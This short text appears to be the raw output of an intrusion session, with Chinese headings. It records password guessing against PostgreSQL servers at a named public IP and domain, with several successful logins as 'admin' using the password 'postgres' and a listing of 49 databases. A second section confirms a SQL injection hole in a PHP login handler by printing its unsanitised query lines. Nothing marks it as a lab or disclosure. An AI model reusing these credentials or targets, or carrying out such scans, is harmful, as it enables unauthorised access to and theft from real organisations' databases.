=== PG 连接测试 ===
OK  149.28.132.52:5432 admin / postgres -> PG 9.6.15
    DBs(49): postgres,gisdb,datacenter,osm_data,construction_monitor,solar_panel,pgrouting,331golfclub,solar_construction,kalasin,irrigation,highways_district,district_watch,utah_alummi_th2020,highwaywatch
FAIL 149.28.132.52:5432 admin / rid_datacenter -> no-conn
OK  sensorsoft.net:5432 admin / postgres -> PG 9.6.15
    DBs(49): postgres,gisdb,datacenter,osm_data,construction_monitor,solar_panel,pgrouting,331golfclub,solar_construction,kalasin,irrigation,highways_district,district_watch,utah_alummi_th2020,highwaywatch
FAIL 172.16.18.90:5432 postgres / oeg_cp -> no-conn
FAIL 172.16.18.90:5432 postgres / postgres -> no-conn

=== SQLi 验证 (apps_hdlr.php) ===
FILE SIZE=101001
  L23: u.username,
  L38: u.username = '{$user}' AND u.password = '{$pass}'
  L69: u.username = '{$user}' AND u.password = '{$pass}'